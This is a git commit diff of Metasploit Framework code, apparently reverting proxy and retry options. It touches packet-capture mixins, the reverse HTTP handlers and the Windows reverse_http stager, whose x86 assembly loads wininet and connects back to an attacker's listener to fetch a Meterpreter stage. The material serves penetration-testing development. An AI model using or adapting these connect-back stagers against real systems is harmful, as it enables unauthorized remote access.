parent
2056ff6899
commit
d329a724bc
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -145,7 +145,7 @@ download_more:
|
||||||
test eax,eax ; download failed? (optional?)
|
test eax,eax ; download failed? (optional?)
|
||||||
jz failure
|
jz failure
|
||||||
|
|
||||||
mov ax, word ptr [edi]
|
mov rax, [rdi]
|
||||||
add rbx, rax ; buffer += bytes_received
|
add rbx, rax ; buffer += bytes_received
|
||||||
|
|
||||||
test rax,rax ; optional?
|
test rax,rax ; optional?
|
||||||
|
|
|
@ -42,7 +42,7 @@ module Msf
|
||||||
[
|
[
|
||||||
true,
|
true,
|
||||||
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||||
'8.8.8.8']),
|
'www.metasploit.com']),
|
||||||
OptPort.new('GATEWAY_PROBE_PORT',
|
OptPort.new('GATEWAY_PROBE_PORT',
|
||||||
[
|
[
|
||||||
false,
|
false,
|
||||||
|
@ -143,6 +143,7 @@ module Msf
|
||||||
return unless self.capture
|
return unless self.capture
|
||||||
self.capture = nil
|
self.capture = nil
|
||||||
self.arp_capture = nil
|
self.arp_capture = nil
|
||||||
|
GC.start()
|
||||||
end
|
end
|
||||||
|
|
||||||
def capture_extract_ies(raw)
|
def capture_extract_ies(raw)
|
||||||
|
@ -162,15 +163,26 @@ module Msf
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Loop through each packet
|
# This monstrosity works around a series of bugs in the interrupt
|
||||||
|
# signal handling of Ruby 1.9
|
||||||
#
|
#
|
||||||
def each_packet
|
def each_packet
|
||||||
return unless capture
|
return unless capture
|
||||||
@capture_count ||= 0
|
begin
|
||||||
capture.each do |pkt|
|
@capture_count = 0
|
||||||
yield(pkt)
|
reader = framework.threads.spawn("PcapReceiver", false) do
|
||||||
@capture_count += 1
|
capture.each do |pkt|
|
||||||
|
yield(pkt)
|
||||||
|
@capture_count += 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
reader.join
|
||||||
|
rescue ::Exception
|
||||||
|
raise $!
|
||||||
|
ensure
|
||||||
|
reader.kill if reader.alive?
|
||||||
end
|
end
|
||||||
|
|
||||||
@capture_count
|
@capture_count
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -230,9 +242,10 @@ module Msf
|
||||||
pcap.inject(pkt)
|
pcap.inject(pkt)
|
||||||
Rex.sleep((delay * 1.0)/1000)
|
Rex.sleep((delay * 1.0)/1000)
|
||||||
end
|
end
|
||||||
|
GC.start
|
||||||
end
|
end
|
||||||
|
|
||||||
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||||
# a payload and a destination address. To send to the broadcast address, set bcast
|
# a payload and a destination address. To send to the broadcast address, set bcast
|
||||||
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
||||||
# out).
|
# out).
|
||||||
|
@ -249,20 +262,24 @@ module Msf
|
||||||
|
|
||||||
# The return value either be a PacketFu::Packet object, or nil
|
# The return value either be a PacketFu::Packet object, or nil
|
||||||
def inject_reply(proto=:udp, pcap=self.capture)
|
def inject_reply(proto=:udp, pcap=self.capture)
|
||||||
# Defaults to ~2 seconds
|
reply = nil
|
||||||
to = (datastore['TIMEOUT'] * 4) / 1000.0
|
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
|
if not pcap
|
||||||
begin
|
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
|
||||||
::Timeout.timeout(to) do
|
else
|
||||||
pcap.each do |r|
|
begin
|
||||||
packet = PacketFu::Packet.parse(r)
|
::Timeout.timeout(to) do
|
||||||
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
pcap.each do |r|
|
||||||
return packet
|
packet = PacketFu::Packet.parse(r)
|
||||||
|
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
||||||
|
reply = packet
|
||||||
|
break
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
end
|
end
|
||||||
rescue ::Timeout::Error
|
|
||||||
end
|
end
|
||||||
nil
|
return reply
|
||||||
end
|
end
|
||||||
|
|
||||||
# This ascertains the correct Ethernet addresses one should use to
|
# This ascertains the correct Ethernet addresses one should use to
|
||||||
|
@ -311,19 +328,20 @@ module Msf
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
||||||
::Timeout.timeout(to) do
|
::Timeout.timeout(to) do
|
||||||
loop do
|
while (my_packet = inject_reply(:udp, self.arp_capture))
|
||||||
my_packet = inject_reply(:udp, self.arp_capture)
|
if my_packet.payload == secret
|
||||||
next unless my_packet
|
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
||||||
next unless my_packet.payload == secret
|
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
||||||
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
return [dst_mac, src_mac]
|
||||||
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
else
|
||||||
return [dst_mac, src_mac]
|
next
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue ::Timeout::Error
|
rescue ::Timeout::Error
|
||||||
# Well, that didn't work (this is common on networks where there's no gateway, like
|
# Well, that didn't work (this common on networks where there's no gatway, like
|
||||||
# VMWare network interfaces. We'll need to use a fake source hardware address.
|
# VMWare network interfaces. We'll need to use a fake source hardware address.
|
||||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||||
end
|
end
|
||||||
|
@ -336,31 +354,26 @@ module Msf
|
||||||
return self.arp_cache[:gateway] unless should_arp? target_ip
|
return self.arp_cache[:gateway] unless should_arp? target_ip
|
||||||
source_ip = Rex::Socket.source_address(target_ip)
|
source_ip = Rex::Socket.source_address(target_ip)
|
||||||
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
|
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
|
||||||
|
|
||||||
p = arp_packet(target_ip, source_ip)
|
p = arp_packet(target_ip, source_ip)
|
||||||
|
inject_eth(:eth_type => 0x0806,
|
||||||
# Try up to 3 times to get an ARP response
|
:payload => p,
|
||||||
1.upto(3) do
|
:pcap => self.arp_capture,
|
||||||
inject_eth(:eth_type => 0x0806,
|
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
||||||
:payload => p,
|
)
|
||||||
:pcap => self.arp_capture,
|
begin
|
||||||
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||||
)
|
::Timeout.timeout(to) do
|
||||||
begin
|
while (my_packet = inject_reply(:arp, self.arp_capture))
|
||||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
if my_packet.arp_saddr_ip == target_ip
|
||||||
::Timeout.timeout(to) do
|
|
||||||
loop do
|
|
||||||
my_packet = inject_reply(:arp, self.arp_capture)
|
|
||||||
next unless my_packet
|
|
||||||
next unless my_packet.arp_saddr_ip == target_ip
|
|
||||||
self.arp_cache[target_ip] = my_packet.eth_saddr
|
self.arp_cache[target_ip] = my_packet.eth_saddr
|
||||||
return self.arp_cache[target_ip]
|
return self.arp_cache[target_ip]
|
||||||
|
else
|
||||||
|
next
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue ::Timeout::Error
|
|
||||||
end
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
end
|
end
|
||||||
nil
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Creates a full ARP packet, mainly for use with inject_eth()
|
# Creates a full ARP packet, mainly for use with inject_eth()
|
||||||
|
|
|
@ -76,6 +76,7 @@ module Exploit::Remote::Ipv6
|
||||||
|
|
||||||
return if not @ipv6_icmp6_capture
|
return if not @ipv6_icmp6_capture
|
||||||
@ipv6_icmp6_capture = nil
|
@ipv6_icmp6_capture = nil
|
||||||
|
GC.start()
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -256,11 +256,11 @@ module ReverseHopHttp
|
||||||
:expiration => datastore['SessionExpirationTimeout'],
|
:expiration => datastore['SessionExpirationTimeout'],
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||||
:ua => datastore['MeterpreterUserAgent'],
|
:ua => datastore['MeterpreterUserAgent'],
|
||||||
:proxy_host => datastore['PayloadProxyHost'],
|
:proxyhost => datastore['PROXYHOST'],
|
||||||
:proxy_port => datastore['PayloadProxyPort'],
|
:proxyport => datastore['PROXYPORT'],
|
||||||
:proxy_type => datastore['PayloadProxyType'],
|
:proxy_type => datastore['PROXY_TYPE'],
|
||||||
:proxy_user => datastore['PayloadProxyUser'],
|
:proxy_username => datastore['PROXY_USERNAME'],
|
||||||
:proxy_pass => datastore['PayloadProxyPass']
|
:proxy_password => datastore['PROXY_PASSWORD']
|
||||||
|
|
||||||
blob = encode_stage(blob)
|
blob = encode_stage(blob)
|
||||||
|
|
||||||
|
|
|
@ -58,12 +58,18 @@ module ReverseHttp
|
||||||
], Msf::Handler::ReverseHttp)
|
], Msf::Handler::ReverseHttp)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Toggle for IPv4 vs IPv6 mode
|
||||||
|
#
|
||||||
|
def ipv6?
|
||||||
|
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||||
|
end
|
||||||
|
|
||||||
# Determine where to bind the server
|
# Determine where to bind the server
|
||||||
#
|
#
|
||||||
# @return [String]
|
# @return [String]
|
||||||
def listener_address
|
def listener_address
|
||||||
if datastore['ReverseListenerBindAddress'].to_s == ""
|
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||||
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
|
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||||
else
|
else
|
||||||
bindaddr = datastore['ReverseListenerBindAddress']
|
bindaddr = datastore['ReverseListenerBindAddress']
|
||||||
end
|
end
|
||||||
|
@ -71,12 +77,14 @@ module ReverseHttp
|
||||||
bindaddr
|
bindaddr
|
||||||
end
|
end
|
||||||
|
|
||||||
# Return a URI suitable for placing in a payload
|
|
||||||
#
|
|
||||||
# @return [String] A URI of the form +scheme://host:port/+
|
# @return [String] A URI of the form +scheme://host:port/+
|
||||||
def listener_uri
|
def listener_uri
|
||||||
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
|
if ipv6?
|
||||||
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
|
listen_host = "[#{listener_address}]"
|
||||||
|
else
|
||||||
|
listen_host = listener_address
|
||||||
|
end
|
||||||
|
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Return a URI suitable for placing in a payload.
|
# Return a URI suitable for placing in a payload.
|
||||||
|
@ -150,7 +158,6 @@ module ReverseHttp
|
||||||
'VirtualDirectory' => true)
|
'VirtualDirectory' => true)
|
||||||
|
|
||||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||||
lookup_proxy_settings
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -168,45 +175,6 @@ module ReverseHttp
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
#
|
|
||||||
# Parses the proxy settings and returns a hash
|
|
||||||
#
|
|
||||||
def lookup_proxy_settings
|
|
||||||
info = {}
|
|
||||||
return @proxy_settings if @proxy_settings
|
|
||||||
|
|
||||||
if datastore['PayloadProxyHost'].to_s == ""
|
|
||||||
@proxy_settings = info
|
|
||||||
return @proxy_settings
|
|
||||||
end
|
|
||||||
|
|
||||||
info[:host] = datastore['PayloadProxyHost'].to_s
|
|
||||||
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
|
||||||
info[:type] = datastore['PayloadProxyType'].to_s
|
|
||||||
|
|
||||||
uri_host = info[:host]
|
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(uri_host)
|
|
||||||
uri_host = "[#{info[:host]}]"
|
|
||||||
end
|
|
||||||
|
|
||||||
info[:info] = "#{uri_host}:#{info[:port]}"
|
|
||||||
|
|
||||||
if info[:type] == "SOCKS"
|
|
||||||
info[:info] = "socks=#{info[:info]}"
|
|
||||||
else
|
|
||||||
info[:info] = "http://#{info[:info]}"
|
|
||||||
if datastore['PayloadProxyUser'].to_s != ""
|
|
||||||
info[:username] = datastore['PayloadProxyUser'].to_s
|
|
||||||
end
|
|
||||||
if datastore['PayloadProxyPass'].to_s != ""
|
|
||||||
info[:password] = datastore['PayloadProxyPass'].to_s
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
@proxy_settings = info
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Parses the HTTPS request
|
# Parses the HTTPS request
|
||||||
#
|
#
|
||||||
|
@ -236,8 +204,8 @@ protected
|
||||||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||||
|
|
||||||
unless datastore['PayloadProxyHost'].blank?
|
unless datastore['PROXYHOST'].blank?
|
||||||
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -300,11 +268,11 @@ protected
|
||||||
:expiration => datastore['SessionExpirationTimeout'],
|
:expiration => datastore['SessionExpirationTimeout'],
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||||
:ua => datastore['MeterpreterUserAgent'],
|
:ua => datastore['MeterpreterUserAgent'],
|
||||||
:proxy_host => datastore['PayloadProxyHost'],
|
:proxyhost => datastore['PROXYHOST'],
|
||||||
:proxy_port => datastore['PayloadProxyPort'],
|
:proxyport => datastore['PROXYPORT'],
|
||||||
:proxy_type => datastore['PayloadProxyType'],
|
:proxy_type => datastore['PROXY_TYPE'],
|
||||||
:proxy_user => datastore['PayloadProxyUser'],
|
:proxy_username => datastore['PROXY_USERNAME'],
|
||||||
:proxy_pass => datastore['PayloadProxyPass']
|
:proxy_password => datastore['PROXY_PASSWORD']
|
||||||
|
|
||||||
resp.body = encode_stage(blob)
|
resp.body = encode_stage(blob)
|
||||||
|
|
||||||
|
|
|
@ -40,11 +40,11 @@ module ReverseHttpsProxy
|
||||||
[
|
[
|
||||||
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
||||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
||||||
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
|
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
|
||||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
|
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
|
||||||
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
|
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||||
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
|
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
||||||
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
|
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
||||||
], Msf::Handler::ReverseHttpsProxy)
|
], Msf::Handler::ReverseHttpsProxy)
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
|
|
|
@ -27,13 +27,7 @@ module Payload::Windows::ReverseHttp
|
||||||
super
|
super
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
|
||||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
|
||||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
|
||||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
|
||||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
|
||||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -47,8 +41,7 @@ module Payload::Windows::ReverseHttp
|
||||||
ssl: false,
|
ssl: false,
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_small_uri,
|
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
|
||||||
retry_count: datastore['StagerRetryCount'])
|
|
||||||
end
|
end
|
||||||
|
|
||||||
conf = {
|
conf = {
|
||||||
|
@ -56,13 +49,7 @@ module Payload::Windows::ReverseHttp
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_uri,
|
url: generate_uri,
|
||||||
exitfunk: datastore['EXITFUNC'],
|
exitfunk: datastore['EXITFUNC']
|
||||||
proxy_host: datastore['PayloadProxyHost'],
|
|
||||||
proxy_port: datastore['PayloadProxyPort'],
|
|
||||||
proxy_user: datastore['PayloadProxyUser'],
|
|
||||||
proxy_pass: datastore['PayloadProxyPass'],
|
|
||||||
proxy_type: datastore['PayloadProxyType'],
|
|
||||||
retry_count: datastore['StagerRetryCount']
|
|
||||||
}
|
}
|
||||||
|
|
||||||
generate_reverse_http(conf)
|
generate_reverse_http(conf)
|
||||||
|
@ -88,7 +75,7 @@ module Payload::Windows::ReverseHttp
|
||||||
#
|
#
|
||||||
def generate_uri
|
def generate_uri
|
||||||
|
|
||||||
uri_req_len = datastore['StagerURILength'].to_i
|
uri_req_len = datastore['HTTPStagerURILength'].to_i
|
||||||
|
|
||||||
# Choose a random URI length between 30 and 255 bytes
|
# Choose a random URI length between 30 and 255 bytes
|
||||||
if uri_req_len == 0
|
if uri_req_len == 0
|
||||||
|
@ -96,7 +83,7 @@ module Payload::Windows::ReverseHttp
|
||||||
end
|
end
|
||||||
|
|
||||||
if uri_req_len < 5
|
if uri_req_len < 5
|
||||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
|
||||||
end
|
end
|
||||||
|
|
||||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
|
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
|
||||||
|
@ -125,49 +112,23 @@ module Payload::Windows::ReverseHttp
|
||||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||||
space += 31
|
space += 31
|
||||||
|
|
||||||
# Proxy options?
|
|
||||||
space += 200
|
|
||||||
|
|
||||||
# The final estimated size
|
# The final estimated size
|
||||||
space
|
space
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate an assembly stub with the configured feature set and options.
|
# Dynamic payload generation
|
||||||
#
|
|
||||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
|
||||||
# @option opts [String] :url The URI to request during staging
|
|
||||||
# @option opts [String] :host The host to connect to
|
|
||||||
# @option opts [Fixnum] :port The port to connect to
|
|
||||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
|
||||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
|
||||||
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
|
|
||||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
|
||||||
# @option opts [String] :proxy_user The optional proxy server username
|
|
||||||
# @option opts [String] :proxy_pass The optional proxy server password
|
|
||||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
|
||||||
#
|
#
|
||||||
def asm_reverse_http(opts={})
|
def asm_reverse_http(opts={})
|
||||||
|
|
||||||
retry_count = [opts[:retry_count].to_i, 1].max
|
#
|
||||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
# options should contain:
|
||||||
proxy_info = ""
|
# ssl: (true|false)
|
||||||
|
# url: "/url_to_request"
|
||||||
if proxy_enabled
|
# host: [hostname]
|
||||||
if opts[:proxy_type].to_s.downcase == "socks"
|
# port: [port]
|
||||||
proxy_info << "socks="
|
# exitfunk: [process|thread|seh|sleep]
|
||||||
else
|
#
|
||||||
proxy_info << "http://"
|
|
||||||
end
|
|
||||||
|
|
||||||
proxy_info << opts[:proxy_host].to_s
|
|
||||||
if opts[:proxy_port].to_i > 0
|
|
||||||
proxy_info << ":#{opts[:proxy_port]}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
|
||||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
|
||||||
|
|
||||||
http_open_flags = 0
|
http_open_flags = 0
|
||||||
|
|
||||||
|
@ -192,11 +153,14 @@ module Payload::Windows::ReverseHttp
|
||||||
|
|
||||||
asm = %Q^
|
asm = %Q^
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
; Author: HD Moore
|
||||||
|
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||||
|
; Version: 1.0
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
|
|
||||||
; Input: EBP must be the address of 'api_call'.
|
; Input: EBP must be the address of 'api_call'.
|
||||||
|
; Output: EDI will be the socket for the connection to the server
|
||||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||||
load_wininet:
|
load_wininet:
|
||||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||||
|
@ -204,108 +168,53 @@ module Payload::Windows::ReverseHttp
|
||||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||||
call ebp ; LoadLibraryA( "wininet" )
|
call ebp ; LoadLibraryA( "wininet" )
|
||||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
|
||||||
^
|
|
||||||
|
|
||||||
if proxy_enabled
|
set_retry:
|
||||||
asm << %Q^
|
push.i8 8 ; retry 8 times should be enough
|
||||||
internetopen:
|
pop edi
|
||||||
push ebx ; DWORD dwFlags
|
xor ebx, ebx ; push 8 zeros ([1]-[8])
|
||||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
mov ecx, edi
|
||||||
call get_proxy_server
|
push_zeros:
|
||||||
db "#{proxy_info}", 0x00
|
push ebx
|
||||||
get_proxy_server:
|
loop push_zeros
|
||||||
; LPCTSTR lpszProxyName (via call)
|
|
||||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
internetopen:
|
||||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
; DWORD dwFlags [1]
|
||||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
; LPCTSTR lpszProxyBypass (NULL) [2]
|
||||||
call ebp
|
; LPCTSTR lpszProxyName (NULL) [3]
|
||||||
^
|
; DWORD dwAccessType (PRECONFIG = 0) [4]
|
||||||
else
|
; LPCTSTR lpszAgent (NULL) [5]
|
||||||
asm << %Q^
|
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||||
internetopen:
|
call ebp
|
||||||
push ebx ; DWORD dwFlags
|
|
||||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
|
||||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
|
||||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
|
||||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
|
||||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
|
||||||
call ebp
|
|
||||||
^
|
|
||||||
end
|
|
||||||
|
|
||||||
asm << %Q^
|
|
||||||
internetconnect:
|
internetconnect:
|
||||||
push ebx ; DWORD_PTR dwContext (NULL)
|
; DWORD_PTR dwContext (NULL) [6]
|
||||||
push ebx ; dwFlags
|
; dwFlags [7]
|
||||||
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||||
push ebx ; password (NULL)
|
push ebx ; password (NULL)
|
||||||
push ebx ; username (NULL)
|
push ebx ; username (NULL)
|
||||||
push #{opts[:port]} ; PORT
|
push #{opts[:port]} ; PORT
|
||||||
call got_server_uri ; double call to get pointer for both server_uri and
|
call got_server_uri ; double call to get pointer for both server_uri and
|
||||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||||
db "#{opts[:url]}", 0x00
|
db "#{opts[:url]}", 0x00
|
||||||
got_server_host:
|
got_server_host:
|
||||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
push eax ; HINTERNET hInternet
|
||||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||||
call ebp
|
call ebp
|
||||||
mov esi, eax ; Store hConnection in esi
|
|
||||||
^
|
|
||||||
|
|
||||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
|
||||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
|
||||||
|
|
||||||
if proxy_enabled && proxy_user
|
|
||||||
asm << %Q^
|
|
||||||
; DWORD dwBufferLength (length of username)
|
|
||||||
push #{proxy_user.length}
|
|
||||||
call set_proxy_username
|
|
||||||
proxy_username:
|
|
||||||
db "#{proxy_user}",0x00
|
|
||||||
set_proxy_username:
|
|
||||||
; LPVOID lpBuffer (username from previous call)
|
|
||||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
|
||||||
push esi ; hConnection
|
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
|
||||||
call ebp
|
|
||||||
^
|
|
||||||
end
|
|
||||||
|
|
||||||
if proxy_enabled && proxy_pass
|
|
||||||
asm << %Q^
|
|
||||||
; DWORD dwBufferLength (length of password)
|
|
||||||
push #{proxy_pass.length}
|
|
||||||
call set_proxy_password
|
|
||||||
proxy_password:
|
|
||||||
db "#{proxy_pass}",0x00
|
|
||||||
set_proxy_password:
|
|
||||||
; LPVOID lpBuffer (password from previous call)
|
|
||||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
|
||||||
push esi ; hConnection
|
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
|
||||||
call ebp
|
|
||||||
^
|
